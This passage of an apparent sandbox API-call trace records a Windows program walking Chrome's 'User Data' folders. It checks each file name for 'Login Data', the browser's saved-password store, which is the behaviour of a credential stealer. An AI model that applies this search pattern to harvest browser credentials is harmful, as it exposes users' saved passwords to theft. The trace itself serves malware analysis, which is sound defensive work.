returned -1 [0054.810] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned 70 [0054.810] lstrlenA (lpString="\\") returned 1 [0054.810] LocalAlloc (uFlags=0x40, uBytes=0xc8) returned 0x7687d8 [0054.810] lstrcpyA (in: lpString1=0x7687d8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" [0054.810] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\" [0054.810] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned 71 [0054.810] lstrlenA (lpString="reports") returned 7 [0054.810] LocalAlloc (uFlags=0x40, uBytes=0xcf) returned 0x9403ba8 [0054.810] lstrcpyA (in: lpString1=0x9403ba8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\" [0054.810] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\", lpString2="reports" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports" [0054.810] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports") returned 78 [0054.810] lstrlenA (lpString="\\*.*") returned 4 [0054.810] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x76a2e8 [0054.810] lstrcpyA (in: lpString1=0x76a2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports" [0054.810] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*.*" [0054.810] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*.*", lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 0x72ddd0 [0054.810] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.810] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.810] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.811] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.811] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 0 [0054.811] FindClose (in: hFindFile=0x72ddd0 | out: hFindFile=0x72ddd0) returned 1 [0054.811] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.811] StrStrIA (lpFirst="settings.dat", lpSrch="Login Data") returned 0x0 [0054.811] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 0 [0054.811] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0054.811] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xefa68 | out: lpFindFileData=0xefa68) returned 1 [0054.811] StrStrIA (lpFirst="CrashpadMetrics-active.pma", lpSrch="Login Data") returned 0x0 [0054.811] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xefa68 | out: lpFindFileData=0xefa68) returned 1 [0054.811] lstrcmpiA (lpString1=".", lpString2="Default") returned -1 [0054.811] lstrcmpiA (lpString1="..", lpString2="Default") returned -1 [0054.811] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0054.811] lstrlenA (lpString="\\") returned 1 [0054.811] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x74af08 [0054.811] lstrcpyA (in: lpString1=0x74af08, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0054.811] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0054.811] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 62 [0054.811] lstrlenA (lpString="Default") returned 7 [0054.811] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x768708 [0054.811] lstrcpyA (in: lpString1=0x768708, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0054.811] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="Default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0054.811] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0054.811] lstrlenA (lpString="\\*.*") returned 4 [0054.811] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x9402ac8 [0054.811] lstrcpyA (in: lpString1=0x9402ac8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0054.811] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*.*" [0054.811] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*.*", lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 0x72dd90 [0054.811] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.811] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.811] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.811] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.811] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.811] lstrcmpiA (lpString1=".", lpString2="Cache") returned -1 [0054.811] lstrcmpiA (lpString1="..", lpString2="Cache") returned -1 [0054.811] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0054.811] lstrlenA (lpString="\\") returned 1 [0054.811] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x7687d8 [0054.811] lstrcpyA (in: lpString1=0x7687d8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0054.811] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0054.811] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 70 [0054.811] lstrlenA (lpString="Cache") returned 5 [0054.811] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x9403ba8 [0054.811] lstrcpyA (in: lpString1=0x9403ba8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0054.811] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="Cache" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" [0054.812] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache") returned 75 [0054.812] lstrlenA (lpString="\\*.*") returned 4 [0054.812] LocalAlloc (uFlags=0x40, uBytes=0xd0) returned 0x9403c80 [0054.812] lstrcpyA (in: lpString1=0x9403c80, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" [0054.812] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*.*" [0054.812] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*.*", lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 0x72ddd0 [0054.812] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.812] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.812] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.812] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.812] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.812] StrStrIA (lpFirst="data_0", lpSrch="Login Data") returned 0x0 [0054.812] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.812] StrStrIA (lpFirst="data_1", lpSrch="Login Data") returned 0x0 [0054.812] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.812] StrStrIA (lpFirst="data_2", lpSrch="Login Data") returned 0x0 [0054.812] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.812] StrStrIA (lpFirst="data_3", lpSrch="Login Data") returned 0x0 [0054.812] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.812] StrStrIA (lpFirst="index", lpSrch="Login Data") returned 0x0 [0054.812] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 0 [0054.812] FindClose (in: hFindFile=0x72ddd0 | out: hFindFile=0x72ddd0) returned 1 [0054.812] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.812] StrStrIA (lpFirst="Cookies", lpSrch="Login Data") returned 0x0 [0054.812] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.812] StrStrIA (lpFirst="Cookies-journal", lpSrch="Login Data") returned 0x0 [0054.812] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.812] StrStrIA (lpFirst="Current Session", lpSrch="Login Data") returned 0x0 [0054.812] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.812] StrStrIA (lpFirst="Current Tabs", lpSrch="Login Data") returned 0x0 [0054.812] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.812] lstrcmpiA (lpString1=".", lpString2="data_reduction_proxy_leveldb") returned -1 [0054.812] lstrcmpiA (lpString1="..", lpString2="data_reduction_proxy_leveldb") returned -1 [0054.812] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0054.812] lstrlenA (lpString="\\") returned 1 [0054.812] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x7687d8 [0054.812] lstrcpyA (in: lpString1=0x7687d8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0054.812] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0054.812] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 70 [0054.812] lstrlenA (lpString="data_reduction_proxy_leveldb") returned 28 [0054.812] LocalAlloc (uFlags=0x40, uBytes=0xe3) returned 0x74dc68 [0054.812] lstrcpyA (in: lpString1=0x74dc68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0054.812] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="data_reduction_proxy_leveldb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb" [0054.812] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb") returned 98 [0054.813] lstrlenA (lpString="\\*.*") returned 4 [0054.813] LocalAlloc (uFlags=0x40, uBytes=0xe7) returned 0x74dd58 [0054.813] lstrcpyA (in: lpString1=0x74dd58, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb" [0054.813] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*.*" [0054.813] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*.*", lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 0x72ddd0 [0054.813] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.813] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.813] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.813] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.813] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.813] StrStrIA (lpFirst="000003.log", lpSrch="Login Data") returned 0x0 [0054.813] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.813] StrStrIA (lpFirst="CURRENT", lpSrch="Login Data") returned 0x0 [0054.813] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.813] StrStrIA (lpFirst="LOCK", lpSrch="Login Data") returned 0x0 [0054.813] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.813] StrStrIA (lpFirst="LOG", lpSrch="Login Data") returned 0x0 [0054.813] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.813] StrStrIA (lpFirst="MANIFEST-000002", lpSrch="Login Data") returned 0x0 [0054.813] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 0 [0054.813] FindClose (in: hFindFile=0x72ddd0 | out: hFindFile=0x72ddd0) returned 1 [0054.814] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.814] lstrcmpiA (lpString1=".", lpString2="Extension Rules") returned -1 [0054.814] lstrcmpiA (lpString1="..", lpString2="Extension Rules") returned -1 [0054.814] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0054.814] lstrlenA (lpString="\\") returned 1 [0054.814] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x7687d8 [0054.814] lstrcpyA (in: lpString1=0x7687d8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0054.814] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0054.814] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 70 [0054.814] lstrlenA (lpString="Extension Rules") returned 15 [0054.814] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x76a2e8 [0054.814] lstrcpyA (in: lpString1=0x76a2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0054.814] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="Extension Rules" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules" [0054.814] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules") returned 85 [0054.814] lstrlenA (lpString="\\*.*") returned 4 [0054.814] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x9410768 [0054.814] lstrcpyA (in: lpString1=0x9410768, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules" [0054.814] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*.*" [0054.814] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*.*", lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 0x72ddd0 [0054.814] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.814] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.814] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.815] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.815] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.815] StrStrIA (lpFirst="000003.log", lpSrch="Login Data") returned 0x0 [0054.815] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.815] StrStrIA (lpFirst="CURRENT", lpSrch="Login Data") returned 0x0 [0054.815] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.815] StrStrIA (lpFirst="LOCK", lpSrch="Login Data") returned 0x0 [0054.815] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.815] StrStrIA (lpFirst="LOG", lpSrch="Login Data") returned 0x0 [0054.815] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.815] StrStrIA (lpFirst="MANIFEST-000001", lpSrch="Login Data") returned 0x0 [0054.815] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 0 [0054.815] FindClose (in: hFindFile=0x72ddd0 | out: hFindFile=0x72ddd0) returned 1 [0054.815] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.815] lstrcmpiA (lpString1=".", lpString2="Extension State") returned -1 [0054.815] lstrcmpiA (lpString1="..", lpString2="Extension State") returned -1 [0054.815] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0054.815] lstrlenA (lpString="\\") returned 1 [0054.815] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x7687d8 [0054.815] lstrcpyA (in: lpString1=0x7687d8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0054.815] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0054.815] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 70 [0054.815] lstrlenA (lpString="Extension State") returned 15 [0054.815] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x76a2e8 [0054.815] lstrcpyA (in: lpString1=0x76a2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0054.815] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="Extension State" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" [0054.815] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State") returned 85 [0054.815] lstrlenA (lpString="\\*.*") returned 4 [0054.815] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x9410768 [0054.815] lstrcpyA (in: lpString1=0x9410768, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" [0054.815] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension 